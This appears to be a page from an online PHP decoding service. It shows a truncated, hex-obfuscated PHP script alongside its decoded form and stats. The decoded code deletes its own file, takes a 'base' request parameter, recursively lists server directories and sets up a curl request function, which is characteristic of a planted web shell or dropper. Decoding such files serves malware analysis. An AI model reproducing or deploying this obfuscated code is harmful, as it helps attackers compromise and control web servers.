Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47LOB\x41\x4c\x53"}["ocq\x7ap\x74d\x6d"]="\x65\x78";${"\x47\x4c\x4f\x42ALS"}["o..

Decoded Output download

<?php ${"GLOBALS"}["ocqzptdm"]="ex";${"GLOBALS"}["ocjhjtrdr"]="sp";${"GLOBALS"}["haidxjvlc"]="ex";${"GLOBALS"}["yueuevn"]="us";${"GLOBALS"}["pxlzeei"]="ss";${"GLOBALS"}["wjgetyfwuu"]="fp";${"GLOBALS"}["dewwfagvho"]="url";${"GLOBALS"}["bxcrcueoeye"]="rp";${"GLOBALS"}["orrjgbu"]="ss";${"GLOBALS"}["hrwgfa"]="ch";${"GLOBALS"}["wqdmlwh"]="filename";${"GLOBALS"}["vlbverr"]="fs";${"GLOBALS"}["bkfzumv"]="ex";${"GLOBALS"}["hlktkgjmv"]="tmpp";${"GLOBALS"}["fdiwrtmv"]="r";${"GLOBALS"}["zavvrrnssh"]="p";@unlink(__FILE__);if(get_magic_quotes_gpc()){$_REQUEST=array_map("stripslashes",$_REQUEST);}$upxlqubolgt="fs";$xtcfruggyt="c";if(isset($_REQUEST["base"])){$nohuijop="r";${$nohuijop}=$_REQUEST["base"];}else{$oeemvxow="r";${${"GLOBALS"}["zavvrrnssh"]}=parse_url($_SERVER["REQUEST_URI"]);${"GLOBALS"}["oqtjecypoigb"]="tmpp";${$oeemvxow}=substr($_SERVER["SCRIPT_FILENAME"],0,strpos(str_replace("\\","/",$_SERVER["SCRIPT_FILENAME"]),${${"GLOBALS"}["zavvrrnssh"]}["path"]));if(!${${"GLOBALS"}["fdiwrtmv"]}){$lveelertyx="p";${${"GLOBALS"}["fdiwrtmv"]}=substr($_SERVER["SCRIPT_FILENAME"],0,strpos(str_replace("\","/",$_SERVER["SCRIPT_FILENAME"]),urldecode(${$lveelertyx}["path"])));}${${"GLOBALS"}["hlktkgjmv"]}=@realpath(${${"GLOBALS"}["fdiwrtmv"]});if(${${"GLOBALS"}["oqtjecypoigb"]}){$lsjocd="r";${$lsjocd}=${${"GLOBALS"}["hlktkgjmv"]};}}${$xtcfruggyt}=0;${${"GLOBALS"}["vlbverr"]}=array();function sc($d,$lv,$mlv,&$arr){$nkjxwagsw="d";foreach(@glob(${$nkjxwagsw},GLOB_ONLYDIR)as${${"GLOBALS"}["wqdmlwh"]}){if(@is_dir(${${"GLOBALS"}["wqdmlwh"]})){$sifiehtlocp="lv";${"GLOBALS"}["zcfuqukufp"]="arr";@array_push(${${"GLOBALS"}["zcfuqukufp"]},${${"GLOBALS"}["wqdmlwh"]});$pruxzivp="mlv";if(${$sifiehtlocp}<${$pruxzivp}){$fdmnsh="arr";${"GLOBALS"}["lyeskdqqv"]="lv";$hfppghbqvod="lv";${"GLOBALS"}["hwolopdwbl"]="filename";${$hfppghbqvod}+=1;${"GLOBALS"}["ysmuoysn"]="mlv";sc(${${"GLOBALS"}["hwolopdwbl"]}."/*",${${"GLOBALS"}["lyeskdqqv"]},${${"GLOBALS"}["ysmuoysn"]},${$fdmnsh});}}}}function req($url){if(@extension_loaded("curl")&&function_exists("curl_init")&&function_exists("curl_exec")){${"GLOBALS"}["mpjoxffpggi"]="ch";${${"GLOBALS"}["hrwgfa"]}=@curl_init();${"GLOBALS"}["ijbeknm"]="url";${"GLOBALS"}["hoyxavwskkz"]="ch";curl_setopt(${${"GLOBALS"}["\x6 ?>

Did this file decode correctly?

Original Code

<?php ${"\x47LOB\x41\x4c\x53"}["ocq\x7ap\x74d\x6d"]="\x65\x78";${"\x47\x4c\x4f\x42ALS"}["ocj\x68\x6at\x72d\x72"]="\x73\x70";${"G\x4c\x4f\x42A\x4c\x53"}["\x68a\x69\x64\x78\x6a\x76l\x63"]="ex";${"\x47L\x4fB\x41L\x53"}["\x79u\x65\x75e\x76\x6e"]="\x75\x73";${"\x47\x4c\x4fBA\x4c\x53"}["\x70x\x6cz\x65\x65i"]="ss";${"\x47\x4cO\x42AL\x53"}["w\x6a\x67et\x79\x66wu\x75"]="\x66p";${"\x47\x4c\x4f\x42AL\x53"}["\x64\x65\x77\x77\x66\x61g\x76\x68\x6f"]="\x75\x72\x6c";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x78\x63\x72\x63u\x65\x6f\x65\x79e"]="\x72\x70";${"\x47\x4c\x4f\x42\x41L\x53"}["o\x72\x72jg\x62\x75"]="\x73\x73";${"GL\x4fB\x41\x4c\x53"}["hrwgf\x61"]="c\x68";${"\x47\x4cO\x42\x41\x4cS"}["w\x71\x64\x6dl\x77h"]="f\x69\x6c\x65\x6e\x61\x6d\x65";${"\x47\x4cO\x42\x41L\x53"}["\x76\x6c\x62\x76\x65\x72\x72"]="f\x73";${"\x47LO\x42A\x4cS"}["\x62\x6b\x66\x7au\x6dv"]="\x65\x78";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x6c\x6b\x74\x6b\x67\x6amv"]="\x74m\x70\x70";${"G\x4cOB\x41\x4c\x53"}["\x66\x64iw\x72\x74mv"]="r";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["za\x76\x76\x72\x72\x6e\x73s\x68"]="\x70";@unlink(__FILE__);if(get_magic_quotes_gpc()){$_REQUEST=array_map("s\x74\x72\x69\x70sla\x73he\x73",$_REQUEST);}$upxlqubolgt="\x66\x73";$xtcfruggyt="\x63";if(isset($_REQUEST["\x62\x61\x73\x65"])){$nohuijop="r";${$nohuijop}=$_REQUEST["\x62\x61\x73\x65"];}else{$oeemvxow="r";${${"\x47LO\x42A\x4c\x53"}["za\x76\x76rrns\x73h"]}=parse_url($_SERVER["\x52\x45Q\x55ES\x54\x5f\x55\x52\x49"]);${"\x47L\x4fB\x41LS"}["o\x71\x74j\x65\x63\x79\x70oi\x67\x62"]="\x74\x6d\x70\x70";${$oeemvxow}=substr($_SERVER["\x53\x43\x52\x49\x50T\x5f\x46\x49LENA\x4dE"],0,strpos(str_replace("\\","/",$_SERVER["\x53\x43R\x49\x50\x54\x5fFILEN\x41ME"]),${${"GLO\x42\x41LS"}["za\x76\x76\x72\x72\x6es\x73h"]}["pa\x74\x68"]));if(!${${"\x47L\x4f\x42\x41L\x53"}["\x66\x64\x69wr\x74\x6d\x76"]}){$lveelertyx="\x70";${${"\x47L\x4fB\x41\x4c\x53"}["\x66d\x69w\x72\x74m\x76"]}=substr($_SERVER["\x53\x43\x52IPT\x5fF\x49\x4cENAM\x45"],0,strpos(str_replace("\x5c","/",$_SERVER["S\x43\x52I\x50\x54_\x46\x49\x4c\x45\x4eA\x4dE"]),urldecode(${$lveelertyx}["pat\x68"])));}${${"GLO\x42A\x4c\x53"}["hlk\x74\x6bgj\x6d\x76"]}=@realpath(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x64\x69w\x72\x74\x6d\x76"]});if(${${"G\x4cO\x42A\x4c\x53"}["\x6fqt\x6ae\x63\x79\x70oig\x62"]}){$lsjocd="r";${$lsjocd}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68l\x6btkg\x6a\x6d\x76"]};}}${$xtcfruggyt}=0;${${"\x47LOB\x41L\x53"}["\x76\x6cb\x76\x65\x72\x72"]}=array();function sc($d,$lv,$mlv,&$arr){$nkjxwagsw="d";foreach(@glob(${$nkjxwagsw},GLOB_ONLYDIR)as${${"G\x4c\x4fB\x41\x4c\x53"}["w\x71\x64m\x6cw\x68"]}){if(@is_dir(${${"\x47LO\x42ALS"}["\x77q\x64\x6d\x6c\x77\x68"]})){$sifiehtlocp="\x6c\x76";${"\x47\x4cO\x42\x41\x4c\x53"}["z\x63\x66\x75\x71u\x6b\x75\x66p"]="\x61\x72\x72";@array_push(${${"G\x4cO\x42A\x4c\x53"}["z\x63\x66\x75\x71\x75\x6b\x75\x66\x70"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77qdmlw\x68"]});$pruxzivp="ml\x76";if(${$sifiehtlocp}<${$pruxzivp}){$fdmnsh="\x61\x72r";${"GL\x4f\x42\x41LS"}["\x6c\x79e\x73\x6bd\x71\x71\x76"]="\x6c\x76";$hfppghbqvod="\x6cv";${"\x47L\x4f\x42\x41\x4c\x53"}["\x68w\x6flop\x64\x77\x62l"]="f\x69\x6ce\x6e\x61\x6d\x65";${$hfppghbqvod}+=1;${"G\x4c\x4fB\x41\x4c\x53"}["\x79smuo\x79\x73n"]="ml\x76";sc(${${"\x47L\x4f\x42\x41L\x53"}["\x68w\x6f\x6c\x6fp\x64w\x62\x6c"]}."/*",${${"\x47L\x4f\x42\x41LS"}["\x6cy\x65\x73\x6b\x64\x71q\x76"]},${${"\x47\x4c\x4f\x42A\x4cS"}["y\x73mu\x6f\x79\x73\x6e"]},${$fdmnsh});}}}}function req($url){if(@extension_loaded("\x63\x75r\x6c")&&function_exists("\x63url_i\x6ei\x74")&&function_exists("\x63\x75r\x6c_\x65x\x65c")){${"\x47\x4cO\x42A\x4c\x53"}["m\x70\x6a\x6f\x78\x66\x66\x70\x67\x67\x69"]="\x63\x68";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68rwg\x66a"]}=@curl_init();${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x6a\x62\x65\x6bn\x6d"]="\x75\x72\x6c";${"GL\x4f\x42\x41\x4c\x53"}["ho\x79\x78\x61\x76\x77\x73k\x6b\x7a"]="ch";curl_setopt(${${"\x47\x4cO\x42A\x4cS"}["\x6

Function Calls

None

Variables

None

Stats

MD5 a75b8b9ffc366606ceac0b14bbab7c39
Eval Count 0
Decode Time 98 ms